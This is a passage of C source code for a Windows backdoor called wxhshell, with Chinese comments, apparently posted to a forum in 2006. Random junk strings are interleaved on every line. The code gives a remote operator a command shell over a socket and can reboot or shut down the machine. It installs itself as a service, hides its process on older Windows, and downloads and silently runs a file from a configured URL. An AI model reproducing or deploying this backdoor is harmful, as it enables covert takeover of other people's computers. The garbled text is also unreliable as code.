  } qIA!m .GC  
  else { f IQ$a >  
!?O:%QG  
    switch(cmd[0]) { )"t=sFxaB  
  bC?t4-W  
  // 帮助 Wj.)wr!  
  case '?': { :ozHuHJ#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D~NH 4B  
    break; dfc-#I p?  
  } f`/JY!u j{  
  // 安装 ;P5\EJo  
  case 'i': { [rqq*_eB  
    if(Install()) r'{pTgm#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  EvTdwX.H  
    else e/#4)@]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1i bQ'bZ  
    break; *bmk(%g  
    } .LnXKRd{  
  // 卸载 *% Vd2jW/  
  case 'r': { s) V7$D  
    if(Uninstall()) @iC!Q>D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J>!p^|S{  
    else I4qzdD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Qu~iB(Y  
    break; VI" ,E}  
    }  Gp@Y=mU  
  // 显示 wxhshell 所在路径 1MfRF v  
  case 'p': { P)>WIQSr  
    char svExeFile[MAX_PATH]; sl |S9Ix  
    strcpy(svExeFile,"\n\r"); o)"}DeV$&  
      strcat(svExeFile,ExeFile); 84)S0Y8w  
        send(wsh,svExeFile,strlen(svExeFile),0); 4?jhZLBU  
    break; dr,j~s  
    } 3~s0ux[  
  // 重启 6NJ La|&n  
  case 'b': { U NQup;#h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9XobTi3+'  
    if(Boot(REBOOT)) Fypqf|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI',E?#yB  
    else { 4\Y=*X  
    closesocket(wsh); [RC|W%<Z>  
    ExitThread(0); I>L lc Y  
    } '~liDz*O   
    break; \ {"8(ELX  
    } kJJQcjAP:  
  // 关机 .7~Kfm@2  
  case 'd': { oUltr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :T%,.sH  
    if(Boot(SHUTDOWN)) n9cWvy&f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}4H'%Z(i  
    else { $dorE ~T  
    closesocket(wsh); +-qD!(&-6  
    ExitThread(0); '~3( s?B  
    } N|1J@"H  
    break;  78qf  
    } LP=!u~?  
  // 获取shell =E4nNL?  
  case 's': { 5jx{O${u  
    CmdShell(wsh); OK3B6T5w=  
    closesocket(wsh); wT*`Od8w  
    ExitThread(0); IK~ur\3  
    break; C[gSiL  
  } YJ rK oK}  
  // 退出 % fA0XRM  
  case 'x': { >%Y.X38Z[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >s[}f6*2@  
    CloseIt(wsh); c{||l+B  
    break; mc!3FJ  
    } YwB 5Zqr  
  // 离开 yMX4 f  
  case 'q': { ~;bwfp_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w<\N-J|m  
    closesocket(wsh); dn%/SJC  
    WSACleanup(); #?}Y~Oe  
    exit(1); Y$oBsg\v  
    break; G!0|ocE}  
        } D=9x/ ) *G  
  } >6jy d{  
  }  2HQHC]  
[>C^ 0\Z~  
  // 提示信息 ag|d_;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V!]e#QH;  
} ks(PH6:]<  
  }  pSV 8!  
z81I2?v[Jr  
  return; BtU,1`El5  
} r~t&;yRv  
4XX21<yn  
// shell模块句柄 M7jDV|Go  
int CmdShell(SOCKET sock) r10)1`[  
{ mN@0lfk;  
STARTUPINFO si; :*}tkr4&eh  
ZeroMemory(&si,sizeof(si)); V :d/;~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hDmVv;M:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ='soSnT  
PROCESS_INFORMATION ProcessInfo; AbcLHV.  
char cmdline[]="cmd"; J0o U5d=3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ogT(uYyr  
  return 0; 60X B  
} ^+,mxV'8!  
#i)h0ML/e  
// 自身启动模式 :,GsbNKW  
int StartFromService(void) 5 0~L(<  
{ s2w .V O  
typedef struct '|WMt g  
{ #-e3m/>  
  DWORD ExitStatus; 8&`s wu&  
  DWORD PebBaseAddress; xo^_;(;  
  DWORD AffinityMask; <`6-J `.  
  DWORD BasePriority; joM98H@  
  ULONG UniqueProcessId; K;[V`)d'  
  ULONG InheritedFromUniqueProcessId; fFSW\4JD=  
}   PROCESS_BASIC_INFORMATION; Jc{zi^)(EN  
8)R )h/E>  
PROCNTQSIP NtQueryInformationProcess; (">!vz  
z%mM#X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xA&G91|s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :hxfd b-  
9J2% 9,^  
  HANDLE             hProcess; C_'Ug  
  PROCESS_BASIC_INFORMATION pbi; {&K#~[)  
3z ~zcQ^\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m;Sw`nw?  
  if(NULL == hInst ) return 0; {d^&$~  
%v}:#_va]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S1`+r0Fk~n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0B3*\ H}5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I:mJWe  
wW!*"z  
  if (!NtQueryInformationProcess) return 0; 3ck;~Ncj<  
9O}YtX2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7cvbYP\<lv  
  if(!hProcess) return 0; hnE@+(d=qJ  
 $7|0{Dw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B;G|2um:$  
oleRQ=  
  CloseHandle(hProcess); `[o^w(l:5@  
8a-[Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A!iV iX &y  
if(hProcess==NULL) return 0; Q6}`%  
of{wZU\J+9  
HMODULE hMod; 8?I(wn  
char procName[255]; Q&n  
unsigned long cbNeeded; `' 6]Z*  
B;7L:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  299; N  
7 NJ1cQ-}t  
  CloseHandle(hProcess); m"+9[d_u  
xx9qi^  
if(strstr(procName,"services")) return 1; // 以服务启动 tLV9b %i(  
yt_?4Hc"  
  return 0; // 注册表启动 ^dqyX(  
} p|AIz3  
S' TF7u  
// 主模块 A "S})  
int StartWxhshell(LPSTR lpCmdLine) %)q5hB  
{ b/O~f8t  
  SOCKET wsl; ;Iv)J|*  
BOOL val=TRUE; %&z9^}Vd[  
  int port=0; ,ci tzh  
  struct sockaddr_in door; JrCm >0g  
Fz>J7(Y.j  
  if(wscfg.ws_autoins) Install(); fkk\Q>J9!=  
$!KV]]  
port=atoi(lpCmdLine); T4\,b  
w_\niqm<y  
if(port<=0) port=wscfg.ws_port; Z8nNZ<k  
LD^V="d  
  WSADATA data; % YU(,83(+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4y)"IOd#|  
oD!72W_:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N,Y<mX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *K m%Vl  
  door.sin_family = AF_INET; Ij{{Z;o3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WERK JA  
  door.sin_port = htons(port); rxm!'.+  
vco:6Ab$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X$%RJ3t e  
closesocket(wsl); ZH~m%sA  
return 1; M@{GT/`Pf  
} X "1q$xwc  
}$iH 3#E8  
  if(listen(wsl,2) == INVALID_SOCKET) { n*bbmG1  
closesocket(wsl); KvktC|~?  
return 1; GH^i,88  
} 46}/C5  
  Wxhshell(wsl); PtmdUHvD  
  WSACleanup(); }bix+/]  
Eiz\Nb  
return 0; LFg<j1Gk`  
Pme`UcE3H  
} 3go!P])  
rq2XFSXn  
// 以NT服务方式启动 o.Q |%&1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p,ZubR J"  
{ l+YpRx/T\  
DWORD   status = 0; 7nIg3s%  
  DWORD   specificError = 0xfffffff; w 7=Y_  
37 M7bB0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QGLfZvTT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &o:ZOD.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y@#~8\_  
  serviceStatus.dwWin32ExitCode     = 0; eMWY[f3  
  serviceStatus.dwServiceSpecificExitCode = 0; mn 8A%6W  
  serviceStatus.dwCheckPoint       = 0; DB%=/ \U  
  serviceStatus.dwWaitHint       = 0; 3(vI{[yhT  
4*m\Zoq>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E})PNf;  
  if (hServiceStatusHandle==0) return; G^ n|9)CVW  
"o[\Aec:  
status = GetLastError(); .;*0odxv  
  if (status!=NO_ERROR) G ytI_an8  
{ > -k$:[l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !BK^5,4?--  
    serviceStatus.dwCheckPoint       = 0; |{ *ce<ip5  
    serviceStatus.dwWaitHint       = 0; 0jj }jw  
    serviceStatus.dwWin32ExitCode     = status; Hhfqb"2on  
    serviceStatus.dwServiceSpecificExitCode = specificError; B`T9dL[E4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q"QrbU  
    return; 5#WZXhlc}  
  } =EV8~hMyqh  
)+\e+Ad}H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MO/l(wO  
  serviceStatus.dwCheckPoint       = 0; L`];i8=I  
  serviceStatus.dwWaitHint       = 0; c5O1h8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NIV&)`w  
} -FE5sW  
KDHR} `  
// 处理NT服务事件,比如:启动、停止 Ur5X~a\y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e2/[`k=7-  
{ pMs%`j#T  
switch(fdwControl) :/ "q NPJ  
{ %;ny  
case SERVICE_CONTROL_STOP: :vV?Yv%P)n  
  serviceStatus.dwWin32ExitCode = 0; bpKb<c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !f_Kq$.{  
  serviceStatus.dwCheckPoint   = 0; ]lm9D@HMC  
  serviceStatus.dwWaitHint     = 0; z2nDD6N  
  { F>!fu.Ws  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Q"eaJxE!l  
  } @GjWeOj]  
  return; p/SJt0  
case SERVICE_CONTROL_PAUSE: Q,)G_lO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aD%")eP%&  
  break; X0P<ifIv  
case SERVICE_CONTROL_CONTINUE: C]eb=rw$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P#76ehR]K  
  break; Pf(z0o&  
case SERVICE_CONTROL_INTERROGATE: 5 _] i==M  
  break; ydoCoD w  
}; Av+R~&h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O% 9~1_  
} 97<Y. 0  
INcJXlv  
// 标准应用程序主函数 U_oMR$/Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /z5j.TMs  
{ |A0kbC.  
3osAWSCEL  
// 获取操作系统版本 syBYH5  
OsIsNt=GetOsVer(); IsnC_"f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); se7_:0+w  
L3i\06M  
  // 从命令行安装 dHd{9ftyF  
  if(strpbrk(lpCmdLine,"iI")) Install(); B#sc!eLmU&  
qmJFXnf  
  // 下载执行文件 u3"F7 lJ  
if(wscfg.ws_downexe) { X8?|5$Ey  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4sROMk=l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ioh_5 5e  
} 0'aZ*ozk  
uXtfP?3Vy  
if(!OsIsNt) { &bA;>Lu#|o  
// 如果时win9x,隐藏进程并且设置为注册表启动 [(UQQa=+  
HideProc(); `Mp]iD {  
StartWxhshell(lpCmdLine); 8 rnr>Ee@  
} "f5u2=7 }  
else VZw("a*TB  
  if(StartFromService()) 3$WK%"%T  
  // 以服务方式启动 N=:yl/M  
  StartServiceCtrlDispatcher(DispatchTable); !"p,9  
else !4-NbtT  
  // 普通方式启动 saYn\o"m  
  StartWxhshell(lpCmdLine); &/Tx@j^.C  
= `70]%  
return 0; .RoO 6:T6  
}
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只看该作者 1 发表于: 2006-10-10
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